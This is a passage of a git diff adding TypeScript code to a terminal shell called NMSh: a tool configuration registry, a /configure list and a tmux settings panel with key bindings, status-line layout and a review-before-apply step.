detectProvider(tool, env.PATH ?? ''); +} + /** Legacy tools and tools without a curated package keep no recipe. */ function withRecipe(tool: Tool): Tool { return tool.legacy || !tool.package ? tool : {...tool, recipe: {brew: tool.package}}; @@ -122,7 +180,7 @@ export function toolsInTier(tier: ToolTier): Tool[] { */ export function knownToolForExecutable(word: string, tools: readonly Tool[] = TOOLS): Tool | undefined { if (!/^[A-Za-z0-9][A-Za-z0-9_.+-]*$/u.test(word)) return undefined; - return tools.find(tool => tool.commandNotFound !== false && ((tool.executable ?? tool.id) === word || tool.commandAliases?.includes(word))); + return tools.find(tool => tool.commandNotFound !== false && tool.detection?.kind !== 'filesystem' && ((tool.executable ?? tool.id) === word || tool.commandAliases?.includes(word))); } /** diff --git a/src/tools/config/ConfigureList.ts b/src/tools/config/ConfigureList.ts new file mode 100644 index 00000000..1ca7ba5a --- /dev/null +++ b/src/tools/config/ConfigureList.ts @@ -0,0 +1,41 @@ +import type {Key} from '../../terminal/keys.js'; +import {framePanel} from '../../ui/PanelShell.js'; +import {renderControls} from '../../ui/controls.js'; +import {foreground, UI_COLORS} from '../../ui/palette.js'; +import {GLYPHS} from '../../ui/glyphs.js'; +import {padCells, truncateAnsi} from '../../util/text.js'; +import {OWNERSHIP_LABELS, type ToolConfigEntry} from './registry.js'; + +/** /configure: every registered tool, what NMSh can configure for it and how; Enter opens the tool's editor. */ +export interface ConfigureListState {selected: number; message?: string} +export type ConfigureListAction = {kind: 'close'} | {kind: 'open'; id: string} | {kind: 'bridge'}; + +export function configureListKey(state: ConfigureListState, key: Key, tools: ReadonlyArray): ConfigureListAction | undefined { + state.message = undefined; + if (key.kind === 'escape' || key.kind === 'interrupt') return {kind: 'close'}; + if (key.kind === 'up' || key.kind === 'down') { state.selected = (state.selected + (key.kind === 'up' ? -1 : 1) + tools.length) % tools.length; return undefined; } + if (key.kind !== 'enter') return undefined; + const tool = tools[state.selected]!; + if (tool.configurable) return {kind: 'open', id: tool.id}; + if (tool.ownership === 'theme-bridge') return {kind: 'bridge'}; + state.message = `${tool.label}: ${tool.summary}.`; + return undefined; +} + +export function renderConfigureList(state: ConfigureListState, tools: ReadonlyArray, columns: number, height: number): string[] { + const primary = foreground(UI_COLORS.primary); + const secondary = foreground(UI_COLORS.secondary); + const subtle = foreground(UI_COLORS.subtle); + const accent = foreground(UI_COLORS.accent); + const reset = '\u001B[0m'; + const lines = [` ${primary}Tool Configuration${reset} ${subtle}supported settings for registered tools only; detection never grants write access${reset}`, '']; + tools.forEach((tool, index) => { + const selected = index === state.selected; + const action = tool.configurable ? 'Configure ›' : tool.ownership === 'theme-bridge' ? 'Theme Bridge ›' : 'Inspect only'; + lines.push(`${selected ? `${accent}${GLYPHS.selection}${reset}` : ' '} ${selected ? primary : secondary}${padCells(tool.label, 12)}${reset}${padCells(tool.installed ? 'Installed' : 'Not installed', 15)}${selected ? accent : subtle}${padCells(action, 16)}${reset}${subtle}${OWNERSHIP_LABELS[tool.ownership]}${reset}`); + if (selected) lines.push(` ${subtle}${tool.summary} · takes effect: ${tool.takesEffect}${reset}`); + }); + if (state.message) lines.push('', ` ${secondary}${state.message}${reset}`); + lines.push('', renderControls([['↑↓', 'select'], ['Enter', 'open'], ['Esc', 'close']])); + return framePanel(lines.map(line => truncateAnsi(line, columns)), columns).slice(0, Math.max(1, height)); +} diff --git a/src/tools/config/TmuxPanel.ts b/src/tools/config/TmuxPanel.ts new file mode 100644 index 00000000..31d1f20d --- /dev/null +++ b/src/tools/config/TmuxPanel.ts @@ -0,0 +1,280 @@ +import type {Key} from '../../terminal/keys.js'; +import {framePanel, renderTabStrip} from '../../ui/PanelShell.js'; +import {renderControls} from '../../ui/controls.js'; +import {foreground, background, UI_COLORS} from '../../ui/palette.js'; +import {GLYPHS} from '../../ui/glyphs.js'; +import {editText} from '../../ui/formControls.js'; +import {padCells, truncateAnsi} from '../../util/text.js'; +import { + applyTmuxChange, bindingConflicts, describeTmuxChange, optionProvenance, STATUS_MODULES, STATUS_SEPARATORS, TMUX_ACTION_IDS, TMUX_ACTIONS, + TMUX_DEFAULT_BINDINGS, TMUX_OPTIONS, validTmuxKey, type StatusModuleId, type TmuxActionId, type TmuxChange, type TmuxImport, type TmuxModel, + type TmuxStatusLayout, +} from './tmux.js'; + +/** + * /tmux (also /configure tmux): tmux's Config Studio. It edits a draft of + * the typed model; nothing is written until Review & apply shows every + * change (and the one include, when missing) and the user picks Yes. + * tmux appearance (Status Studio, Theme Bridge) and the pane frontend are + * shown as different owners: NMSh's own prompt is configured in /prompt. + */ + +export const TMUX_TABS = ['General', 'Keys', 'Status', 'Pane frontend', 'Import'] as const; +type Tab = 'general' | 'keys' | 'status' | 'frontend' | 'import'; +const TAB_IDS: readonly Tab[] = ['general', 'keys', 'status', 'frontend', 'import']; + +const PREFIXES = ['C-b', 'C-a', 'C-Space', 'C-s', 'C-q'] as const; +const LEFT_PRESETS: StatusModuleId[][] = [['session'], ['session', 'host'], ['host'], ['session', 'windowIndex'], []]; +const RIGHT_PRESETS: StatusModuleId[][] = [['time'], ['date', 'time'], ['host', 'time'], ['paneCwd', 'time'], ['paneCommand', 'time'], []]; +const KEY_ACTIONS: readonly TmuxActionId[] = TMUX_ACTION_IDS.filter(id => id !== 'send-prefix'); + +export interface TmuxPanelState { + tab: Tab; + focus: 'tabs' | 'list'; + selected: Record; + draft: TmuxModel; + saved: TmuxModel; + /** The user's own tmux.conf, parsed (supported subset), for provenance and import. */ + user?: TmuxImport; + userPath?: string; + /** Typing a key for a binding row. */ + keyEntry?: {action: TmuxActionId; text: string}; + review?: {lines: string[]; include: string[]; yes: boolean}; + /** Theme Bridge state for tmux, one line (owned by /theme-bridge). */ + bridge: string; + installed: boolean; + message?: string; +} + +export type TmuxPanelAction = {kind: 'close'} | {kind: 'review'} | {kind: 'apply'} | {kind: 'reload'} | {kind: 'openPrompt'} | {kind: 'openBridge'}; + +export function createTmuxPanel(saved: TmuxModel, user: {path: string; parsed: TmuxImport} | undefined, bridge: string, installed: boolean): TmuxPanelState { + return {tab: 'general', focus: 'list', selected: {general: 0, keys: 0, status: 0, frontend: 0, import: 0}, draft: structuredClone(saved), saved: structuredClone(saved), + ...(user ? {user: user.parsed, userPath: user.path} : {}), bridge, installed}; +} + +/** Typed changes from saved to draft: what Review shows and what Apply writes. */ +export function pendingChanges(state: Pick): TmuxChange[] { + const changes: TmuxChange[] = []; + for (const option of TMUX_OPTIONS) if (state.draft.options[option.id] !== state.saved.options[option.id]) changes.push({kind: 'option', id: option.id, ...(state.draft.options[option.id] !== undefined ? {value: state.draft.options[option.id]} : {})}); + if (state.draft.prefix !== state.saved.prefix) changes.push({kind: 'prefix', ...(state.draft.prefix ? {key: state.draft.prefix} : {})}); + const key = (binding: {key: string; table: string; action: string}) => `${binding.table}\u0000${binding.key}\u0000${binding.action}`; + const saved = new Set(state.saved.bindings.map(key)); + const draft = new Set(state.draft.bindings.map(key)); + for (const binding of state.draft.bindings) if (!saved.has(key(binding)) && binding.action !== 'send-prefix') changes.push({kind: 'binding', binding}); + for (const binding of state.saved.bindings) if (!draft.has(key(binding)) && binding.action !== 'send-prefix') changes.push({kind: 'binding', binding, remove: true}); + if (JSON.stringify(state.draft.status) !== JSON.stringify(state.saved.status)) changes.push({kind: 'status', ...(state.draft.status ? {layout: state.draft.status} : {})}); + if (state.draft.frontend !== state.saved.frontend) changes.push({kind: 'frontend', value: state.draft.frontend}); + return changes; +} + +type Row = {id: string; label: string; value: string; detail?: string; editable: boolean}; + +function cycle(values: readonly T[], current: T, delta: number): T { + const index = values.findIndex(value => JSON.stringify(value) === JSON.stringify(current)); + return values[(index + delta + values.length) % values.length]!; +} + +function apply(state: TmuxPanelState, change: TmuxChange): void { + const next = applyTmuxChange(state.draft, change); + if ('error' in next) state.message = next.error; else state.draft = next; +} + +function statusLayout(model: TmuxModel): TmuxStatusLayout { + return model.status ?? {left: ['session'], right: ['time'], separator: '·', windowFormat: 'index-name'}; +} + +function rows(state: TmuxPanelState): Row[] { + const draft = state.draft; + if (state.tab === 'general' || state.tab === 'status') { + const options = TMUX_OPTIONS.filter(option => state.tab === 'general' ? option.group !== 'Status' : option.group === 'Status'); + const list: Row[] = options.map(option => { + const provenance = optionProvenance(option, draft, state.user); + return {id: `option:${option.id}`, label: option.label, value: provenance.effective, editable: true, + detail: `${provenance.source}${provenance.user !== undefined && provenance.override !== undefined && provenance.user !== provenance.override ? ` · your config: ${provenance.user}` : ''}${option.guidance ? ` · ${option.guidance}` : ''}`}; + }); + if (state.tab === 'status') { + const layout = statusLayout(draft); + const names = (ids: StatusModuleId[]) => ids.length ? ids.map(id => STATUS_MODULES[id].label).join(', ') : 'Nothing'; + list.push({id: 'studio', label: 'Status Studio', value: draft.status ? 'NMSh layout' : 'Inherit', editable: true, detail: draft.status ? 'NMSh writes the status formats below' : 'your config or tmux defaults keep the formats'}); + if (draft.status) { + list.push({id: 'left', label: 'Left', value: names(layout.left), editable: true}, {id: 'right', label: 'Right', value: names(layout.right), editable: true}, + {id: 'separator', label: 'Separator', value: layout.separator, editable: true}, + {id: 'windows', label: 'Window labels', value: layout.windowFormat === 'index-name' ? 'Index:name' : layout.windowFormat === 'name' ? 'Name' : 'Index', editable: true}); + } + list.push({id: 'bridge', label: 'Theme Bridge', value: state.bridge, editable: false, detail: 'colors come from /theme-bridge · Enter opens it'}); + } + return [...list, {id: 'review', label: 'Review & apply', value: `${pendingChanges(state).length} change${pendingChanges(state).length === 1 ? '' : 's'} ›`, editable: false}]; + } + if (state.tab === 'keys') { + const prefix = draft.prefix ?? state.user?.prefix ?? 'C-b'; + const list: Row[] = [{id: 'prefix', label: 'Prefix', value: prefix, editable: true, detail: draft.prefix ? 'NMSh managed file' : state.user?.prefix ? 'your tmux config' : 'tmux default'}]; + for (const action of KEY_ACTIONS) { + const mine = draft.bindings.find(binding => binding.action === action); + const theirs = state.user?.bindings.find(binding => binding.action === action); + const builtin = TMUX_DEFAULT_BINDINGS.find(binding => binding.action === action); + const shown = mine ?? theirs ?? builtin; + list.push({id: `bind:${action}`, label: TMUX_ACTIONS[action].label, editable: true, + value: shown ? `${shown.table === 'root' ? '' : 'prefix '}${shown.key}` : '—', + detail: mine ? 'NMSh binding · Del removes it' : theirs ? 'your tmux config' : builtin ? 'tmux default' : 'not bound · Enter adds one'}); + } + const conflicts = bindingConflicts(draft, state.user); + if (conflicts.length) list.push({id: 'conflicts', label: 'Overrides', value: `${conflicts.length} of your bindings`, editable: false, detail: conflicts.map(item => `${item.user.key}: ${TMUX_ACTIONS[item.user.action].label} → ${TMUX_ACTIONS[item.binding.action].label}`).join(' · ')}); + return [...list, {id: 'review', label: 'Review & apply', value: `${pendingChanges(state).length} change${pendingChanges(state).length === 1 ? '' : 's'} ›`, editable: false}]; + } + if (state.tab === 'frontend') { + return [ + {id: 'frontend', label: 'New panes', value: draft.frontend === 'nmsh' ? 'Start NMSh' : 'Start normal shell', editable: true, + detail: 'Applies to new panes and windows without an explicit command. Existing panes keep their current process. tmux\'s default-shell is not changed.'}, + {id: 'prompt', label: 'NMSh prompt', value: 'Configure in /prompt ›', editable: false, detail: 'The real NMSh prompt, composer and theme run inside the pane; they are configured once, in /prompt'}, + {id: 'review', label: 'Review & apply', value: `${pendingChanges(state).length} change${pendingChanges(state).length === 1 ? '' : 's'} ›`, editable: false}, + ]; + } + const user = state.user; + return [ + {id: 'source', label: 'Your tmux config', value: state.userPath ?? 'none found', editable: false}, + {id: 'found', label: 'Supported values', value: user ? `${Object.keys(user.options).length} settings · ${user.prefix ? 'prefix · ' : ''}${user.bindings.length} bindings` : '—', editable: false}, + {id: 'skipped', label: 'Left as yours', value: user ? `${user.unsupported.length} other lines · ${user.ignored.length} dynamic (never run)` : '—', editable: false, + detail: user?.ignored.length ? `not evaluated: ${user.ignored.slice(0, 3).join(' · ')}` : undefined}, + {id: 'copy', label: 'Copy into NMSh', value: 'Copy supported values into the NMSh managed file ›', editable: false, + detail: 'Makes them editable here; your tmux.conf is not changed'}, + {id: 'review', label: 'Review & apply', value: `${pendingChanges(state).length} change${pendingChanges(state).length === 1 ? '' : 's'} ›`, editable: false}, + ]; +} + +export function tmuxPanelKey(state: TmuxPanelState, key: Key): TmuxPanelAction | undefined { + state.message = undefined; + if (state.review) { + if (key.kind === 'left' || key.kind === 'right') { state.review.yes = !state.review.yes; return undefined; } + if (key.kind === 'enter') { + const yes = state.review.yes; + state.review = undefined; + if (yes) return {kind: 'apply'}; + state.message = 'Nothing was changed.'; + return undefined; + } + if (key.kind === 'escape' || key.kind === 'interrupt') { state.review = undefined; state.message = 'Nothing was changed.'; } + return undefined; + } + if (state.keyEntry) { + if (key.kind === 'escape' || key.kind === 'interrupt') { state.keyEntry = undefined; return undefined; } + if (key.kind === 'enter') { + const text = state.keyEntry.text.trim(); + if (!validTmuxKey(text)) { state.message = `${text || '(empty)'} is not a key NMSh can bind (examples: C-a, M-Left, F5, |).`; return undefined; } + apply(state, {kind: 'binding', binding: {key: text, table: /^M-|^F\d/u.test(text) ? 'root' : 'prefix', action: state.keyEntry.action}}); + state.keyEntry = undefined; + return undefined; + } + const next = editText(state.keyEntry.text, key); + if (next !== undefined) state.keyEntry.text = next.slice(0, 16); + return undefined; + } + if (key.kind === 'escape' || key.kind === 'interrupt') return {kind: 'close'}; + if (state.focus === 'tabs') { + if (key.kind === 'left' || key.kind === 'right') state.tab = TAB_IDS[(TAB_IDS.indexOf(state.tab) + (key.kind === 'left' ? -1 : 1) + TAB_IDS.length) % TAB_IDS.length]!; + else if (key.kind === 'down' || key.kind === 'enter') state.focus = 'list'; + return undefined; + } + const list = rows(state); + const index = Math.max(0, Math.min(state.selected[state.tab], list.length - 1)); + if (key.kind === 'up' || key.kind === 'down') { + if (key.kind === 'up' && index === 0) { state.focus = 'tabs'; return undefined; } + state.selected[state.tab] = Math.max(0, Math.min(list.length - 1, index + (key.kind === 'up' ? -1 : 1))); + return undefined; + } + const row = list[index]!; + const delta = key.kind === 'left' ? -1 : key.kind === 'right' ? 1 : 0; + if (!delta && !row.editable && key.kind !== 'enter') return undefined; + if (row.id === 'review' && key.kind === 'enter') return pendingChanges(state).length ? {kind: 'review'} : (state.message = 'Nothing to apply; NMSh can reload tmux with R.', undefined); + if (row.id === 'prompt' && key.kind === 'enter') return {kind: 'openPrompt'}; + if (row.id === 'bridge' && key.kind === 'enter') return {kind: 'openBridge'}; + if (row.id === 'copy' && key.kind === 'enter') { + if (!state.user) { state.message = 'No tmux config was found to copy from.'; return undefined; } + for (const [id, value] of Object.entries(state.user.options)) apply(state, {kind: 'option', id, value}); + if (state.user.prefix) apply(state, {kind: 'prefix', key: state.user.prefix}); + for (const binding of state.user.bindings) apply(state, {kind: 'binding', binding}); + state.message = 'Copied into the draft; Review & apply shows every change before anything is written.'; + return undefined; + } + if (key.kind === 'text' && key.value.toLowerCase() === 'r' && !row.id.startsWith('bind:')) return {kind: 'reload'}; + if (row.id.startsWith('option:')) { + const option = TMUX_OPTIONS.find(item => item.id === row.id.slice(7))!; + if ((key.kind === 'delete' || key.kind === 'backspace')) { apply(state, {kind: 'option', id: option.id}); state.message = `${option.label}: inherit`; return undefined; } + if (!delta && key.kind !== 'enter') return undefined; + const current = state.draft.options[option.id] ?? optionProvenance(option, state.draft, state.user).effective; + const next = option.values ? cycle(option.values, current, delta || 1) + : String(Math.max(option.range![0], Math.min(option.range![1], Number(current) + (delta || 1) * (option.range![1] > 10_000 ? 10_000 : option.range![1] > 100 ? 10 : 1)))); + apply(state, {kind: 'option', id: option.id, value: next}); + return undefined; + } + if (row.id === 'prefix') { + if (key.kind === 'delete' || key.kind === 'backspace') { apply(state, {kind: 'prefix'}); return undefined; } + if (delta || key.kind === 'enter') apply(state, {kind: 'prefix', key: cycle(PREFIXES, (state.draft.prefix ?? 'C-b') as typeof PREFIXES[number], delta || 1)}); + return undefined; + } + if (row.id.startsWith('bind:')) { + const action = row.id.slice(5) as TmuxActionId; + const mine = state.draft.bindings.find(binding => binding.action === action); + if ((key.kind === 'delete' || key.kind === 'backspace') && mine) { apply(state, {kind: 'binding', binding: mine, remove: true}); return undefined; } + if (key.kind === 'enter') state.keyEntry = {action, text: mine?.key ?? ''}; + return undefined; + } + const layout = statusLayout(state.draft); + if (row.id === 'studio' && (delta || key.kind === 'enter')) { apply(state, {kind: 'status', ...(state.draft.status ? {} : {layout})}); return undefined; } + if (row.id === 'left' && (delta || key.kind === 'enter')) apply(state, {kind: 'status', layout: {...layout, left: cycle(LEFT_PRESETS, layout.left, delta || 1)}}); + else if (row.id === 'right' && (delta || key.kind === 'enter')) apply(state, {kind: 'status', layout: {...layout, right: cycle(RIGHT_PRESETS, layout.right, delta || 1)}}); + else if (row.id === 'separator' && (delta || key.kind === 'enter')) apply(state, {kind: 'status', layout: {...layout, separator: cycle(STATUS_SEPARATORS, layout.separator, delta || 1)}}); + else if (row.id === 'windows' && (delta || key.kind === 'enter')) apply(state, {kind: 'status', layout: {...layout, windowFormat: cycle(['index-name', 'name', 'index'] as const, layout.windowFormat, delta || 1)}}); + else if (row.id === 'frontend' && (delta || key.kind === 'enter')) apply(state, {kind: 'frontend', value: state.draft.frontend === 'nmsh' ? 'shell' : 'nmsh'}); + return undefined; +} + +/** A tmux-style status line preview, drawn with NMSh's own UI roles (facts are samples, never probed). */ +export function statusPreview(model: TmuxModel, columns: number): string { + const layout = statusLayout(model); + const sample: Record = {session: 'main', windowIndex: '1', windowName: 'nvim', paneIndex: '0', paneCommand: 'nvim', paneCwd: 'notMyShell', host: 'host', date: '2026-10-05', time: '14:32'}; + const join = (ids: StatusModuleId[]) => ids.length ? ` ${ids.map(id => sample[id]).join(` ${layout.separator} `)} ` : ''; + const window = (index: number, name: string) => layout.windowFormat === 'name' ? ` ${name} ` : layout.windowFormat === 'index' ? ` ${index} ` : ` ${index}:${name} `; + const reset = '\u001B[0m'; + const bar = `${background(UI_COLORS.projectBackground)}${foreground(UI_COLORS.projectForeground)}`; + const left = `${bar}${join(layout.left)}${reset}`; + const windows = `${foreground(UI_COLORS.secondary)}${window(1, 'zsh')}${reset}${background(UI_COLORS.selection)}${foreground(UI_COLORS.primary)}${window(2, 'nvim')}${reset}`; + const right = `${foreground(UI_COLORS.secondary)}${join(layout.right)}${reset}`; + return truncateAnsi(` ${left}${windows} ${right}`, columns); +} + +export function renderTmuxPanel(state: TmuxPanelState, columns: number, height: number): string[] { + const primary = foreground(UI_COLORS.primary); + const secondary = foreground(UI_COLORS.secondary); + const subtle = foreground(UI_COLORS.subtle); + const accent = foreground(UI_COLORS.accent); + const reset = '\u001B[0m'; + const finish = (lines: string[], controls: Array<[string, string]>) => + framePanel([...lines.slice(0, Math.max(3, height - 3)), '', renderControls(controls)].map(line => truncateAnsi(line, columns)), columns).slice(0, Math.max(1, height)); + if (state.review) { + const lines = [` ${primary}tmux › Review${reset}`, '', ` ${secondary}NMSh writes only its managed tmux file:${reset}`, + ...state.review.lines.map(line => ` ${accent}+${reset} ${line}`)]; + if (state.review.include.length) lines.push('', ` ${secondary}tmux.conf does not load it yet; this one include is added:${reset}`, ...state.review.include.map(line => ` ${line.startsWith('+') ? accent : subtle}${line}${reset}`)); + lines.push('', ` ${subtle}Your other tmux settings are untouched. New servers load it; a running server needs Reload.${reset}`, '', + ` ${primary}Apply?${reset} ${state.review.yes ? `${subtle}No${reset} ${accent}‹ Yes ›${reset}` : `${accent}‹ No ›${reset} ${subtle}Yes${reset}`}`); + return finish(lines, [['←→', 'No / Yes'], ['Enter', 'confirm'], ['Esc', 'back']]); + } + const head = [` ${primary}tmux${reset} ${subtle}${state.installed ? 'Tool Configuration · NMSh writes one managed file your tmux.conf includes' : 'not installed · settings are kept for when it is'}${reset}`, + renderTabStrip(TMUX_TABS, TAB_IDS.indexOf(state.tab), columns, state.focus === 'tabs'), '']; + const list = rows(state); + const index = Math.max(0, Math.min(state.selected[state.tab], list.length - 1)); + const body: string[] = []; + list.forEach((row, rowIndex) => { + const selected = state.focus === 'list' && rowIndex === index; + const value = state.keyEntry && row.id === `bind:${state.keyEntry.action}` ? `${primary}${state.keyEntry.text}${accent}_${reset}` : selected && row.editable ? `${accent}‹ ${row.value} ›${reset}` : row.value; + body.push(`${selected ? `${accent}${GLYPHS.selection}${reset}` : ' '} ${selected ? primary : secondary}${padCells(row.label, 24)}${reset}${value}`); + if (selected && row.detail) body.push(` ${subtle}${row.detail}${reset}`); + }); + if (state.tab === 'status') body.push('', ` ${subtle}Preview · tmux status line (sample facts)${reset}`, statusPreview(state.draft, columns)); + if (state.tab === 'frontend') body.push('', ` ${subtle}tmux appearance (status line, borders) and the pane frontend are different owners: the prompt inside a pane belongs to the program running there.${reset}`); + if (state.message) body.push('', ` ${secondary}${state.message}${reset}`); + return finish([...head, ...body], state.focus === 'tabs' ? [['←→', 'tabs'], ['↓', 'select'], ['Esc', 'close']] + : [['↑↓', 'select'], ['←→', 'change'], ['Enter', 'edit / open'], ['Del', 'inherit'], ['R', 'reload tmux'], ['Esc', 'close']]); +} + +export {describeTmuxChange}; diff --git a/src/tools/config/registry.ts b/src/tools/config/registry.ts new file mode 100644 index 00000000..b412cd7d --- /dev/null +++ b/src/tools/config/registry.ts @@ -0,0 +1,120 @@ +import {homedir} from 'node:os'; +import {join} from 'node:path'; +import {resolveCommand} from '../../providers/providers.js'; +import {detectOhMyZsh, detectPowerlevel10kTool} from '../frameworks.js'; + +/** + * First-party registry of reviewed tool configuration adapters. It is not a + * plugin system: only entries here can ever be configured by NMSh, and an + * entry's `ownership` says exactly how (a managed fragment plus one reviewed + * include, the tool's own config CLI, Theme Bridge only, or read-only). + * Detection never grants write authority. /tools, /configure, /tmux, Ask and + * /dotfiles all read this one table. + */ + +/** structured: TOML/JSON/YAML data · command: a command-style config (tmux) · executable: code (Lua, Vimscript, shell). */ +export type ConfigClass = 'structured' | 'command' | 'executable'; +export type Ownership = 'managed-fragment' | 'native-cli' | 'theme-bridge' | 'read-only'; + +export interface ToolConfigEntry { + id: string; + label: string; + executable: string; + configClass: ConfigClass; + ownership: Ownership; + /** Config files this tool reads (for discovery and dotfiles mapping; never all writable). */ + locations: (env: NodeJS.ProcessEnv, home: string) => string[]; + /** When a supported change takes effect. */ + takesEffect: string; + /** What NMSh can configure, in plain words. */ + summary: string; + /** Dotfiles relative paths (inside a repo or Stow package) this adapter recognizes. */ + dotfiles: RegExp; + /** Whether /configure opens an editor for it. */ + configurable: boolean; + /** + * Authority to install a dotfiles file byte-for-byte. Absent means never: + * parsing as TOML/JSON says nothing about whether the tool later runs + * commands from it (Starship custom modules, bat's pager, Helix :sh keys). + * An entry may only declare this with a validator that proves the content + * cannot cause execution; none does today. + */ + exactCopy?: (content: string) => {ok: true} | {ok: false; reason: string}; + /** Why dotfiles leaves this tool's config inspect-only, in plain words. */ + dotfilesNote?: string; + /** Installed fact for tools that are not an executable (registered filesystem detector). */ + present?: (env: NodeJS.ProcessEnv) => boolean; +} + +const xdg = (env: NodeJS.ProcessEnv, home: string) => env.XDG_CONFIG_HOME && env.XDG_CONFIG_HOME.startsWith('/') ? env.XDG_CONFIG_HOME : join(home, '.config'); + +export const TOOL_CONFIG_REGISTRY: readonly ToolConfigEntry[] = [ + {id: 'tmux', label: 'tmux', executable: 'tmux', configClass: 'command', ownership: 'managed-fragment', configurable: true, + locations: (env, home) => [join(home, '.tmux.conf'), join(xdg(env, home), 'tmux', 'tmux.conf')], + takesEffect: 'New tmux servers through the include; a running server on Reload', + summary: 'Settings, prefix and key bindings, Status Studio, new panes start NMSh, Theme Bridge colors', + dotfiles: /(?:^|\/)(?:\.tmux\.conf|tmux\/tmux\.conf|\.config\/tmux\/tmux\.conf)$/u}, + {id: 'starship', label: 'Starship', executable: 'starship', configClass: 'structured', ownership: 'native-cli', configurable: true, + locations: (env, home) => [env.STARSHIP_CONFIG ?? join(xdg(env, home), 'starship.toml')], + takesEffect: 'The next prompt', summary: 'Module visibility through Starship\'s own config CLI, with a backup', + dotfiles: /(?:^|\/)(?:starship\.toml|\.config\/starship\.toml)$/u, + dotfilesNote: 'Inspect only: Starship config can run commands (custom modules); never copied. Use /configure starship for supported modules'}, + {id: 'helix', label: 'Helix', executable: 'hx', configClass: 'structured', ownership: 'theme-bridge', configurable: false, + locations: (env, home) => [join(xdg(env, home), 'helix', 'config.toml')], + takesEffect: 'New Helix processes', summary: 'The generated NMSh theme and its one reviewed activation (Theme Bridge)', + dotfiles: /(?:^|\/)(?:helix\/config\.toml|\.config\/helix\/config\.toml)$/u, + dotfilesNote: 'Inspect only: Helix keybindings can run shell commands; never copied. Theme Bridge still manages its own theme'}, + {id: 'bat', label: 'bat', executable: 'bat', configClass: 'structured', ownership: 'theme-bridge', configurable: false, + locations: (env, home) => [join(env.BAT_CONFIG_DIR ?? join(xdg(env, home), 'bat'), 'config')], + takesEffect: 'After a reviewed cache build', summary: 'A generated custom theme and BAT_THEME in NMSh shells (Theme Bridge)', + dotfiles: /(?:^|\/)(?:bat\/config|\.config\/bat\/config)$/u, + dotfilesNote: 'Inspect only: bat config can start other programs (pager); never copied. Theme Bridge still manages its own theme'}, + {id: 'neovim', label: 'Neovim', executable: 'nvim', configClass: 'executable', ownership: 'theme-bridge', configurable: false, + locations: (env, home) => [join(xdg(env, home), 'nvim', 'init.lua'), join(xdg(env, home), 'nvim', 'init.vim')], + takesEffect: 'New Neovim processes', summary: 'A generated colorscheme and one reviewed include; Lua config is never rewritten', + dotfiles: /(?:^|\/)(?:nvim\/init\.(?:lua|vim)|\.config\/nvim\/init\.(?:lua|vim))$/u}, + {id: 'vim', label: 'Vim', executable: 'vim', configClass: 'executable', ownership: 'theme-bridge', configurable: false, + locations: (_env, home) => [join(home, '.vimrc'), join(home, '.vim', 'vimrc')], + takesEffect: 'New Vim processes', summary: 'A generated colorscheme and one reviewed include; Vimscript is never rewritten', + dotfiles: /(?:^|\/)(?:\.vimrc|\.vim\/vimrc|vimrc)$/u}, + {id: 'powerlevel10k', label: 'Powerlevel10k', executable: 'zsh', configClass: 'executable', ownership: 'read-only', configurable: false, + present: env => Boolean(detectPowerlevel10kTool(env)), + locations: (env, home) => [env.POWERLEVEL9K_CONFIG_FILE ?? join(home, '.p10k.zsh')], takesEffect: '—', + summary: 'Prompt provider; its own wizard (p10k configure, after backups) owns ~/.p10k.zsh, which is Zsh code', + dotfiles: /(?:^|\/)\.p10k\.zsh$/u}, + {id: 'oh-my-zsh', label: 'Oh My Zsh', executable: 'zsh', configClass: 'executable', ownership: 'read-only', configurable: false, + present: env => Boolean(detectOhMyZsh(env)), + locations: (env, home) => [join(env.ZSH ?? join(home, '.oh-my-zsh'), 'custom')], takesEffect: '—', + summary: 'Inspect only; themes, plugins and custom files are Zsh code, never sourced, copied or rewritten', + dotfiles: /(?:^|\/)(?:\.zshrc\.pre-oh-my-zsh|[^/]+\.zsh-theme|\.oh-my-zsh\/custom\/.+\.zsh|oh-my-zsh\/custom\/.+\.zsh)$/u}, + {id: 'oh-my-posh', label: 'Oh My Posh', executable: 'oh-my-posh', configClass: 'structured', ownership: 'read-only', configurable: false, + locations: (env, _home) => (env.POSH_CONFIG ? [env.POSH_CONFIG] : []), takesEffect: 'The next prompt (as the NMSh Prompt provider)', + summary: 'Prompt provider rendered directly; import its static colors in /theme → Import', + dotfiles: /(?:^|\/)[^/]+\.omp\.(?:json|ya?ml|toml)$/u, + dotfilesNote: 'Inspect only: Oh My Posh segments and templates can run tools; never copied. Import its static colors in /theme → Import'}, + {id: 'zsh', label: 'zsh', executable: 'zsh', configClass: 'executable', ownership: 'read-only', configurable: false, + locations: (_env, home) => [join(home, '.zshrc')], takesEffect: '—', summary: 'Inspect only; shell code is never sourced or rewritten (NMSh owns its composer)', + dotfiles: /(?:^|\/)(?:\.zshrc|\.zshenv|\.zprofile|zshrc)$/u}, + {id: 'bash', label: 'Bash', executable: 'bash', configClass: 'executable', ownership: 'read-only', configurable: false, + locations: (_env, home) => [join(home, '.bashrc')], takesEffect: '—', summary: 'Inspect only; shell code is never sourced or rewritten', + dotfiles: /(?:^|\/)(?:\.bashrc|\.bash_profile|bashrc)$/u}, + {id: 'fish', label: 'Fish', executable: 'fish', configClass: 'executable', ownership: 'read-only', configurable: false, + locations: (env, home) => [join(xdg(env, home), 'fish', 'config.fish')], takesEffect: '—', summary: 'Inspect only; shell code is never sourced or rewritten', + dotfiles: /(?:^|\/)(?:fish\/config\.fish|\.config\/fish\/config\.fish)$/u}, +]; + +export function toolConfigEntry(id: string): ToolConfigEntry | undefined { + return TOOL_CONFIG_REGISTRY.find(entry => entry.id === id) ?? TOOL_CONFIG_REGISTRY.find(entry => entry.executable === id); +} + +export const OWNERSHIP_LABELS: Record = { + 'managed-fragment': 'NMSh-managed file + one reviewed include', 'native-cli': 'the tool\'s own config CLI, with backup', + 'theme-bridge': 'Theme Bridge (generated theme + reviewed activation)', 'read-only': 'inspect only', +}; + +/** Installed facts for the registry (PATH lookups only; nothing is run). */ +export function registryFacts(env: NodeJS.ProcessEnv = process.env): Array { + return TOOL_CONFIG_REGISTRY.map(entry => ({...entry, installed: entry.present ? entry.present(env) : Boolean(resolveCommand(entry.executable, env.PATH ?? ''))})); +} + +export const configLocations = (entry: ToolConfigEntry, env: NodeJS.ProcessEnv = process.env) => entry.locations(env, env.HOME || homedir()); diff --git a/src/tools/config/tmux.ts b/src/tools/config/tmux.ts new file mode 100644 index 00000000..6429fef5 --- /dev/null +++ b/src/tools/config/tmux.ts @@ -0,0 +1,393 @@ +import {existsSync, mkdirSync, readFileSync, renameSync, statSync, writeFileSync} from 'node:fs'; +import {homedir} from 'node:os'; +import {dirname, join} from 'node:path'; +import {nmshConfigDirectory} from 